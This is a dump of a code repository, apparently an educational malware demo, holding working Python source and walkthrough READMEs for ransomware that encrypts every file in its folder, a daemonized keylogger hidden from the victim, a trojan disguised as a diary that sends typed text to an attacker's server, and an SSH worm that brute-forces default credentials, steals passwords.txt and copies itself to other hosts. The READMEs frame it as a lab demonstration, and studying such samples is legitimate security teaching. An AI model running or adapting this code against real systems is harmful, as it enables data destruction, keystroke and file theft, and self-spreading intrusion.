91 | def encrypt_files_in_folder(self, path):
92 | """ Encrypt all files in the given directory specified
93 | by path.
94 |
95 | :param str path: Path of the folder to be encrypted.
96 | :returns: Number of encrypted files (`int`).
97 | """
98 | num_encrypted_files = 0
99 | files = self.get_files_in_folder(path)
100 |
101 | # Encrypt each file in the directory.
102 | for file in files:
103 | logging.debug('Encrypting file: {}'.format(file))
104 | self.encrypt_file(file)
105 | num_encrypted_files += 1
106 |
107 | self.ransom_user()
108 |
109 | return num_encrypted_files
110 |
111 | def decrypt_files_in_folder(self, path):
112 | """ Decrypt all files in the given directory specified
113 | by path.
114 |
115 | :param str path: Path of the folder to be decrypted.
116 | """
117 | # Obtain a key from the user.
118 | key = self.obtain_key()
119 | if key != self.key:
120 | print('Wrong key!')
121 | return
122 |
123 | files = self.get_files_in_folder(path)
124 |
125 | # Decrypt each file in the directory.
126 | for file in files:
127 | self.decrypt_file(key, file)
128 |
129 |
130 | if __name__ == '__main__':
131 | logging.basicConfig(level=logging.DEBUG)
132 |
133 | # Create ransomware.
134 | ransomware = Ransomware('SimpleRansomware')
135 |
136 | # Encrypt files located in the same folder as our ransomware.
137 | path = os.path.dirname(os.path.abspath(__file__))
138 | number_encrypted_files = ransomware.encrypt_files_in_folder(path)
139 | print('Number of encrypted files: {}'.format(number_encrypted_files))
140 |
141 | ransomware.decrypt_files_in_folder(path)
142 |
--------------------------------------------------------------------------------
/ransomware/target_file.ext:
--------------------------------------------------------------------------------
1 | Just an ordinary text file.
2 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | scp==0.13.2
2 | pyxhook==1.0.0
3 | cached_property==1.5.1
4 | paramiko==2.4.2
5 | PySide2==5.13.0
6 | python_daemon==2.2.3
7 |
--------------------------------------------------------------------------------
/setup_env.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # This script automates the creation of Python virtual environment.
3 |
4 | if [ -d "virtualenv" ]; then
5 | echo "Virtual environment 'virtualenv' found, activating it."
6 | else
7 | echo "Virtual environment not found, creating new 'virtualenv'."
8 | python3 -m venv virtualenv
9 | if [ $? -eq 0 ]; then
10 | echo "Virtual environment was successfully created."
11 | else
12 | echo "Virtual environment was NOT created, aborting."
13 | exit 1
14 | fi
15 | fi
16 |
17 | source virtualenv/bin/activate
18 | if [ $? -eq 0 ]; then
19 | echo "Virtual environment is successfully activated."
20 | else
21 | echo "Virtual environment was NOT activated, aborting."
22 | exit 1
23 | fi
24 |
25 | echo "Installing required packages."
26 | pip3 install -r requirements.txt
27 | if [ $? -eq 0 ]; then
28 | echo "All requirements were successfully installed."
29 | else
30 | echo "Requirements were NOT installed properly, aborting."
31 | exit 1
32 | fi
33 |
34 | echo "Done."
35 |
--------------------------------------------------------------------------------
/simple_ransomware/decrypt.py:
--------------------------------------------------------------------------------
1 | import os
2 | from cryptography.fernet import Fernet
3 |
4 |
5 | files = []
6 | for file in os.listdir():
7 | if file =="voldemort.py" or file == "thekey.key" or file == "decrypt.py":
8 | continue
9 | if os.path.isfile(file):
10 | files.append(file)
11 |
12 |
13 | print("The number of files is {} and the files are {}".format(len(files),files))
14 |
15 |
16 | with open("thekey.key", 'rb') as key:
17 | secretkey = key.read()
18 | #secretkey = secretkey.decode('utf-8')
19 | print(secretkey)
20 |
21 | secretpassword = "ilovecoding"
22 |
23 | user_phrase = input("Enter the secret phase to decrypt your file/s!!! \n")
24 | if user_phrase != secretpassword:
25 | print("Wrong password!!!!")
26 | import sys
27 | sys.exit()
28 |
29 | for file in files:
30 | with open(file,'rb') as thefile:
31 | contents = thefile.read()
32 | print("contents is",contents)
33 |
34 | print("\n")
35 | contents_decrypted = Fernet(secretkey).decrypt(contents) #encrypt the file content
36 | print("Content decrypted: ", contents_decrypted.decode('utf-8'))
37 | with open(file,'wb') as thefile:
38 | thefile.write(contents_decrypted)
39 |
--------------------------------------------------------------------------------
/simple_ransomware/file1.txt:
--------------------------------------------------------------------------------
1 | File1
2 |
--------------------------------------------------------------------------------
/simple_ransomware/file2.txt:
--------------------------------------------------------------------------------
1 | File2
2 |
--------------------------------------------------------------------------------
/simple_ransomware/file3.txt:
--------------------------------------------------------------------------------
1 | File3
2 |
--------------------------------------------------------------------------------
/simple_ransomware/thekey.key:
--------------------------------------------------------------------------------
1 | 33rOi2yOcir8kfgiH-rt1UZ-mNXA_6dQ6zRD1SL4iio=
--------------------------------------------------------------------------------
/simple_ransomware/voldemort.py:
--------------------------------------------------------------------------------
1 | import os
2 | from cryptography.fernet import Fernet
3 |
4 |
5 | files = []
6 | for file in os.listdir():
7 | if file =="voldemort.py" or file == "thekey.key" or file == "decrypt.py":
8 | continue
9 | if os.path.isfile(file):
10 | files.append(file)
11 |
12 |
13 | print("The number of files is {} and the files are {}".format(len(files),files))
14 |
15 | key= Fernet.generate_key()
16 |
17 | with open("thekey.key", 'wb+') as thekey:
18 | thekey.write(key)
19 |
20 | for file in files:
21 | with open(file,'rb+') as thefile:
22 | contents = thefile.read()
23 | contents_encrypted = Fernet(key).encrypt(contents) #encrypt the file content
24 | with open(file,'wb+') as thefile:
25 | thefile.write(contents_encrypted)
26 |
--------------------------------------------------------------------------------
/spyware/README.md:
--------------------------------------------------------------------------------
1 | # Spyware
2 |
3 | There exist many ways of spying on the victim. Our **spyware** is represented by **keylogger**, a simple program that monitors pressed keys on the keyboard and can see everything you type. This **keylogger** is implemented in the file `keylogger.py`.
4 |
5 | #### Demonstration of behavior
6 |
7 | We don't need any specific preparation before an execution of the keylogger (`./keylogger.py`). We can observe that after the execution nothing happened and we can type new commands, just like in the case of us pressing only the key `Enter`. Now you can do on your system anything you want. For the demonstration you can open a browser and type something like `Passwd` representing your potential password, just like you would do on any login page of your social media.
8 |
9 | You can now spot that in the same folder as our **keylogger** is located a new file `activity.log`. By observing the file your can see that it contains all keys you have pressed on your keyboard after the execution, including your password `Passwd`. Attacker can easily access those file and modify the keylogger to send them on specific e-mail address or with a combination with different kind of malware he might gain direct access to them via network.
10 |
11 | ```
12 | Key: P
13 | Key: a
14 | Key: s
15 | Key: s
16 | Key: w
17 | Key: d
18 | ```
19 |
20 | Creation of **keylogger** is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of operating systems. That's why we should be always cautions when we execute any uncommon or not trusted file.
21 |
22 | #### How does it work?
23 |
24 | - Firstly, we configure our logger. We can specify the file in which should be the data stored as well as a format of the message.
25 | ```python
26 | logging.basicConfig(
27 | level=logging.DEBUG,
28 | filename='activity.log',
29 | format='Key: %(message)s',
30 | )
31 | ```
32 | - Then we have to obtain the logging file handler. We will explain why in the next step.
33 | ```python
34 | handler = logging.getLogger().handlers[0].stream
35 | ```
36 | - To make our spyware harder to spot by the victim, we want it to run in the background as a **daemon**.
37 | To learn more about daemons, see [the guide to daemons](https://kb.iu.edu/d/aiau). For this purpose we
38 | will use a standart Python module `daemon` that will allow us to daemonize our **keylogger**.
39 | When the the daemon is created, we will loose connections to all file handler like `stdout` or even
40 | our logging file unless we specify that the files should be preserved. That's why we have obtained
41 | logging file handler in the previous step. In the context of our hidden daemon we can now create the
42 | keylogger and start its activity.
43 | ```python
44 | # Daemonize the process to hide it from the victim.
45 | with daemon.DaemonContext(files_preserve=[handler]):
46 | # Create keylogger.
47 | keylogger = Keylogger('SimpleSpyware')
48 | # Start logging activity of the user.
49 | keylogger.start_logging()
50 | ```
51 | - For obtaining the _key press events_ we can use a python module for Linux called `pyxhook`. If we
52 | would create a keylogger for Windows, we should use module `pyHook` instead, but their interface is
53 | very similar. We create a **hooking manager**, that will manage event handling and allows us to
54 | set a callback for those events. Callback is in our case a function that will be called each time a new
55 | event is obtained (__keydown_callback_). The only thing this method does is logging the key into our
56 | specified file `activity.log`.
57 | ```python
58 | hook_manager = pyxhook.HookManager()
59 | # Assign callback for handling key strokes.
60 | hook_manager.KeyDown = self._keydown_callback
61 | # Hook the keyboard and start logging.
62 | hook_manager.HookKeyboard()
63 | hook_manager.start()
64 | ```
65 |
--------------------------------------------------------------------------------
/spyware/keylogger.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of simple keylogger in Python.
4 | """
5 |
6 | import daemon
7 | import logging
8 | import pyxhook
9 |
10 |
11 | class Keylogger:
12 | """ This class represents the code injecting malware. """
13 |
14 | def __init__(self, name):
15 | self._name = name
16 |
17 | @property
18 | def name(self):
19 | """ Name of the malware. """
20 | return self._name
21 |
22 | @name.setter
23 | def name(self, new_name):
24 | self._name = new_name
25 |
26 | def start_logging(self):
27 | """ Log every keystroke of the user into log file. """
28 | # Crete hook manager.
29 | hook_manager = pyxhook.HookManager()
30 | # Assign callback for handling key strokes.
31 | hook_manager.KeyDown = self._keydown_callback
32 | # Hook the keyboard and start logging.
33 | hook_manager.HookKeyboard()
34 | hook_manager.start()
35 |
36 | def _keydown_callback(self, key):
37 | """ This function is handler of key stroke event. """
38 | logging.debug(chr(key.Ascii))
39 |
40 |
41 | if __name__ == '__main__':
42 | # Setup logger.
43 | logging.basicConfig(
44 | level=logging.DEBUG,
45 | filename='activity.log',
46 | format='Key: %(message)s',
47 | )
48 | # Get file handler. We need to pass it to our daemon.
49 | handler = logging.getLogger().handlers[0].stream
50 |
51 | # Daemonize the process to hide it from the victim.
52 | with daemon.DaemonContext(files_preserve=[handler]):
53 | # Create keylogger.
54 | keylogger = Keylogger('SimpleSpyware')
55 | # Start logging activity of the user.
56 | keylogger.start_logging()
57 |
--------------------------------------------------------------------------------
/trojan/README.md:
--------------------------------------------------------------------------------
1 | # Trojan
2 |
3 | Our **trojan** is implemented in the file `trojan.py`. It tries to collect data from the victim disquised as a common diary and send them secretly to the server of the attacker. The server is implemented in the file `server.py`. We should be able to see all notes written into the diary without any knowledge of the victim.
4 |
5 | #### Demonstration of behavior
6 |
7 | The first thing that the attacker must do is to set a server that collects data sent by the victim. That's why we setup a running server on our computer by running `./server.py`. You should see the following text:
8 | ```
9 | DEBUG:user:Server was successfully initialized.
10 | ```
11 | In the second console run the **trojan** (diary) as the victim with the command `./trojan.py`. On the attacker's console we should immediately see the following text:
12 | ```
13 | Connection with trojan established from ('127.0.0.1', 46682)
14 | ```
15 | That means that our client has made a successful connection to our server. Type a few lines of notes into the diary. We can observe that all notes are being shown to the attacker as well.
16 |
17 | ##### What does the victim see
18 | ```
19 | Hello, this is your diary. You can type here your notes:
20 | Hello diary,
21 | let me tell you a secret.
22 | ...
23 | ```
24 | ##### What does the attacker see
25 | ```
26 | DEBUG:user:Server was successfully initialized.
27 | Connection with trojan established from ('127.0.0.1', 46682)
28 | INFO:user:b'Hello diary,\n'
29 | INFO:user:b'let me tell you a secret.\n'
30 | ...
31 | ```
32 |
33 | Creation of basic **trojan** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
34 |
35 | #### How does it work?
36 |
37 | ##### Server
38 |
39 | - Firstly, we create our **server** that should collect the data obtained from **trojan** executed
40 | by the victim. The server will listen on the specific port that must be the same as is specified in our **trojan**.
41 | In this example will be both the **server** and **trojan** executed on the same computer, but the
42 | **server** might be remote and located anywhere in the world.
43 | ```python
44 | server = Server(27000)
45 | ```
46 | The communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-).
47 | ```python
48 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
49 | ```
50 |
51 | - Then we must initialize the server by binding it to the specified port.
52 | ```python
53 | server.initialize()
54 | ```
55 | - The most important part is the connection with the victim. This is implemented in the function _collect_data_ provided by the **server**. It waits for the connection initiated by the **trojan** after its execution on the victim's system. After that it just constantly checks whether the client has sent any data. If so, they are logged into the console so that the attacker can see them. If the sent data are "empty", the client has closed the connection.
56 | ```python
57 | while True:
58 | data = connection.recv(1024)
59 | if not data:
60 | break
61 | logging.debug(data)
62 | ```
63 |
64 | ##### Trojan (client)
65 |
66 | - Firstly, we must create our **trojan**. The service requires a name of the host (server) and the
67 | specified port for the communication. Host named `localhost` means that the server is listening on the same
68 | system as our client.
69 | ```python
70 | trojan = Trojan('localhost', 27000)
71 | ```
72 | - Now we try to connect to the server. This connection should remain hidden to the victim. The logging
73 | message is presented just so we can spot any errors in our example.
74 | ```python
75 | try:
76 | self.socket.connect((self.host, self.port))
77 | except socket.error:
78 | logging.debug('Trojan could not connect to the server.')
79 | return
80 | ```
81 |
82 | - Then the **trojan** tries to act like a harmless program by greeting the victim.
83 | ```python
84 | print('Hello, this is your diary. You can type your notes here:')
85 | ```
86 | - As the victim types his or her notes into the diary (`stdin`), each line is sent to the **attacker's server**. We expect the data to be encoded as **UTF-8** and because the communication interface expects _binary_ data, we must transform the obtained _strings_ into _bytes_.
87 | ```python
88 | while True:
89 | character = sys.stdin.read(1)
90 | self.socket.send(bytes(character, 'utf-8'))
91 | ```
92 |
--------------------------------------------------------------------------------
/trojan/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of the server that collects data sent by trojan.
4 | """
5 |
6 | import logging
7 | import socket
8 |
9 |
10 | class Server:
11 | """ This class represents a server of the attacker that
12 | collects data from the victim.
13 | """
14 |
15 | def __init__(self, port):
16 | self._port = port
17 | # Initialize the socket for connection.
18 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 |
20 | @property
21 | def port(self):
22 | """ Port, on which the server runs (`int`). """
23 | return self._port
24 |
25 | @port.setter
26 | def port(self, new_port):
27 | self._port = new_port
28 |
29 | @property
30 | def socket(self):
31 | """ Server socket. """
32 | return self._socket
33 |
34 | def initialize(self):
35 | """ Initialize server before session. """
36 | try:
37 | self.socket.bind(('localhost', self._port))
38 | self.socket.listen()
39 | logging.debug('Server was successfully initialized.')
40 | except socket.error:
41 | print('Server was not initialized due to an error.')
42 |
43 | def collect_data(self):
44 | """ Collect data from client trojan application. """
45 | # Establish a connection with the victim.
46 | connection, address = self.socket.accept()
47 | with connection:
48 | print('Connection with trojan established from {}'.format(address))
49 |
50 | # Receive data sent by trojan diary.
51 | while True:
52 | data = connection.recv(1024)
53 | if not data:
54 | break
55 | logging.info(data)
56 |
57 |
58 | if __name__ == '__main__':
59 | logging.basicConfig(level=logging.DEBUG)
60 |
61 | # Create and initialize a server running on attacker's side.
62 | server = Server(27000)
63 | server.initialize()
64 | # Collect the data sent by trojan that was executed on victim's side.
65 | server.collect_data()
66 |
--------------------------------------------------------------------------------
/trojan/trojan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of trojan that collects data and sends them to server.
4 | It acts like an ordinary diary.
5 | """
6 |
7 | import logging
8 | import socket
9 | import sys
10 |
11 |
12 | class Trojan:
13 | """ This class represents the implementation of trojan disguised
14 | as diary.
15 | """
16 |
17 | def __init__(self, host, port):
18 | self._host = host
19 | self._port = port
20 | # Initialize socket for the connection.
21 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22 |
23 | @property
24 | def host(self):
25 | """ Server that collects obtained data. """
26 | return self._host
27 |
28 | @host.setter
29 | def host(self, new_host):
30 | self._host = new_host
31 |
32 | @property
33 | def port(self):
34 | """ Port, on which the server runs (`int`). """
35 | return self._port
36 |
37 | @port.setter
38 | def port(self, new_port):
39 | self._port = new_port
40 |
41 | @property
42 | def socket(self):
43 | """ Client socket. """
44 | return self._socket
45 |
46 | def collect_data(self):
47 | """ Secretly collect data and send them to server. """
48 | # Create a connection to the server.
49 | try:
50 | self.socket.connect((self.host, self.port))
51 | except socket.error:
52 | logging.debug('Trojan could not connect to the server.')
53 | return
54 |
55 | # Try to act as an ordinary diary.
56 | print('Hello, this is your diary. You can type here your notes: ')
57 |
58 | # Read notes written by the victim and send them to the server.
59 | while True:
60 | character = sys.stdin.read(1)
61 | self.socket.send(bytes(character, 'utf-8'))
62 |
63 |
64 | if __name__ == '__main__':
65 | logging.basicConfig(level=logging.DEBUG)
66 |
67 | # Initialize trojan application that acts like an diary.
68 | trojan = Trojan('localhost', 27000)
69 | # Collect the data and send them to the server running
70 | # on the attacket's side.
71 | trojan.collect_data()
72 |
--------------------------------------------------------------------------------
/worm/README.md:
--------------------------------------------------------------------------------
1 | # Worm
2 |
3 | Our **worm** is implemented in the file `worm.py`. It tries to spread over the selected network via **SSH** connection and copy itself on the remote host. If the victim has a file **passwords.txt** in the home directory, it will obtain the file and send it back to the system of the attacker.
4 |
5 | #### Demonstration of behavior
6 |
7 | A valid infrastructure needs to be setup for this example. We need at least two hosts on the same network. To do this, it is recommended to setup two **virtual machines**, one for the attacker and one for the victim. To learn more about virtual machines, see [the guide to virtual machines](https://www.lifewire.com/virtual-machine-4147598). A free and popular virtualization tool is [Oracle VM VirtualBox](https://www.virtualbox.org/). For the system of the victim use [Metasploitable2](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/) (a simple Linux VM often used for demostration of security vulnerabilities). Once you create both VMs, to connect them to the same network in VirtualBox go to _Setting->Network->AdapterN->Attached to_ and select Internal network. This must be done for both VMs.
8 |
9 | Now run both systems and log in. The default credentials on the **Metasploitable2** are
10 | ```
11 | user: msfadmin
12 | pass: msfadmin
13 | ```
14 | Make sure that you have this repo cloned on the system of the attacker. The last thing we have to do is to assign valid **IP addresses** to both machines. This can be done with the following command:
15 | ```
16 | ip addr add [IP addr]/24 dev [Interface]
17 | ```
18 | Assign **198.168.0.3** to the victim and **168.168.0.2** to the attacker. To make sure you have done everything correctly, make the systems ping each other.
19 | ```
20 | Victim: ping 198.168.0.2
21 | Attacker: ping 198.168.0.3
22 | ```
23 | If you can see the response, everything is fine and we can proceed to the actual demonstration.
24 |
25 | Make a simple file on the victim's system containing something like the following text and name it **passwords.txt**. This represents private file of the user on the vulnerable system.
26 | ```
27 | My social media credentials
28 | ---------------------------
29 | user: user
30 | pass: mysecurepassword
31 | ```
32 |
33 | Finally, we can execute our worm on the system of the attacker (`./worm.py`). This worm will try to access each host on the network and log in via **SSH**. To learn more about **SSH** see [the guide to SSH](https://medium.com/@Magical_Mudit/understanding-ssh-workflow-66a0e8d4bf65). If it succeeds, it copies itself on the vulnerable system and steals the file **passwords.txt** if the user has one. If everything was done correctly, you should see the following log of the worm. It has tried to log in to hosts **198.168.0.1** and **198.168.0.2** with various credentials and failed. But it has successfully connected to **2 users** on the system **198.168.0.3** and stole the password file from one of them. You should see this file in the same directory on the system of the attacker.
34 |
35 | ```
36 | DEBUG:root:Trying to spread on the remote host: 198.168.0.1
37 | DEBUG:root:The remote host refused connection with credentials user,user.
38 | DEBUG:root:The remote host refused connection with credentials root,root.
39 | DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin.
40 |
41 | DEBUG:root:Trying to spread on the remote host: 198.168.0.2
42 | DEBUG:root:The remote host refused connection with credentials user,user.
43 | DEBUG:root:The remote host refused connection with credentials root,root.
44 | DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin.
45 |
46 | DEBUG:root:Trying to spread on the remote host: 198.168.0.3
47 | DEBUG:root:The worm is succesfully connected to the remote host [user, user].
48 | DEBUG:root:The victim did not have passwords.txt
49 | DEBUG:root:The remote host refused connection with credentials user,user.
50 | DEBUG:root:The remote host refused connection with credentials root,root.
51 | DEBUG:root:The worm is succesfully connected to the remote host [msfadmin, msfadmin].
52 | DEBUG:root:The victim had passwords.txt
53 | ...
54 | ```
55 |
56 | The creation of **worm** itself is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of networking. That's why we should keep our systems updated, secured and credentials strong.
57 |
58 | #### How does it work?
59 |
60 | - Firstly, we create our **worm** and pass it a **network address** representing the network, on which it should spread.
61 | ```python
62 | worm = Worm('198.168.0.0')
63 | ```
64 | - Then we call function _spread_via_ssh_, which tries to connect to each host on the network, establish an **SSH** connection and spread itself (while stealing the password file).
65 | ```python
66 | worm.spread_via_ssh()
67 | ```
68 | - At the beginning, this method creates an **SSHClient** from _paramiko_ module that would help us to create the connection.
69 | ```python
70 | ssh = paramiko.SSHClient()
71 | ssh.get_missing_host_key_policy(paramiko.AutoAddPolicy())
72 | ```
73 | - Then it iterates over all host addresses on the network (implemented as generator _generate_addresses_on_network_). The worm contains property _credentials_, which represents combinations of usernames and passwords that the worm is willing to try. That means that it will try to login via **SSH** 3 times on each host. **SSH** uses port 22.
74 | ```python
75 | for remote_address in self.generate_addresses_on_network():
76 | for user, passw in self.credentials:
77 | try:
78 | ssh.connect(remote_address, port=22, username=user, password=passw)
79 | ...
80 | ```
81 | - If the connection fails, it is captured as an exception and the worm continues with another user or host. However, if the connection is established (as in the case of **198.162.0.3**), we can create an **SCP client** that will transmit our files. To learn more about **SCP**, see [the guide to SCP](https://en.wikipedia.org/wiki/Secure_copy).
82 | ```
83 | scp_client = scp.SCPClient(ssh.get_transport())
84 | - Now we can execute file transmition commands. One will obtain the password file and the second one will send the worm to the remote host. A name of the file is obtained from the system arguments.
85 | ```python
86 | scp_client.get('password.txt')
87 | scp_client.put(sys.argv[0])
88 | ```
89 |
--------------------------------------------------------------------------------
/worm/worm.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of simple worm that spreads via SSH connection.
4 | """
5 |
6 | import logging
7 | import paramiko
8 | import scp
9 | import sys
10 |
11 |
12 | class Worm:
13 | """ This class represents implementation of worm that spreads via SSH
14 | connections.
15 | """
16 |
17 | def __init__(self, network_address):
18 | self._network = network_address
19 |
20 | @property
21 | def network(self):
22 | """ Network, on which the worm spreads. """
23 | return self._network
24 |
25 | @network.setter
26 | def network(self, new_network):
27 | self._network = new_network
28 |
29 | @property
30 | def credentials(self):
31 | """ Possible SSH credentials of the victim. """
32 | return (
33 | ('user', 'user'),
34 | ('root', 'root'),
35 | ('msfadmin', 'msfadmin')
36 | )
37 |
38 | def generate_addresses_on_network(self):
39 | """ Generate addresses of hosts on the given network.
40 | For simplicity is expected the following mask:
41 | 255.255.255.0
42 | """
43 | network = self.network.split('.')
44 | for host in range(1, 256):
45 | network[-1] = str(host)
46 | yield '.'.join(network)
47 |
48 | def spread_via_ssh(self):
49 | """ Spread the worm on the network via SSH connections.
50 | To establish SSH connection try selected user-password
51 | combinations. When the connection is established, copy
52 | the worm to the remote host.
53 | """
54 | # Setup SSH client.
55 | ssh = paramiko.SSHClient()
56 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
57 |
58 | for remote_address in self.generate_addresses_on_network():
59 | logging.debug('Trying to spread on the remote host: {}'.format(remote_address))
60 | for user, passw in self.credentials:
61 | try:
62 | ssh.connect(remote_address, port=22, username=user, password=passw, timeout=10)
63 | logging.debug('The worm is succesfully connected to the remote host [{}, {}].'.format(user, passw))
64 |
65 | # Create SCP client for file transmission.
66 | scp_client = scp.SCPClient(ssh.get_transport())
67 | # Obtain file with victim's passwords.
68 | try:
69 | scp_client.get('passwords.txt')
70 | logging.debug('The victim had passwords.txt')
71 | except Exception:
72 | logging.debug('The victim did not have passwords.txt')
73 |
74 | # Upload worm to the remote host.
75 | scp_client.put(sys.argv[0])
76 | print()
77 |
78 | except Exception:
79 | logging.debug('The remote host refused connection with credentials {},{}.'.format(user, passw))
80 |
81 |
82 | if __name__ == '__main__':
83 | logging.basicConfig(level=logging.DEBUG)
84 | # Disable basic logging of paramiko to make log easier to read.
85 | logging.getLogger('paramiko').setLevel(logging.CRITICAL)
86 |
87 | # Initialize worm with the network address.
88 | worm = Worm('198.168.0.0')
89 | # Spread via SSH connection on the network.
90 | worm.spread_via_ssh()
91 |
--------------------------------------------------------------------------------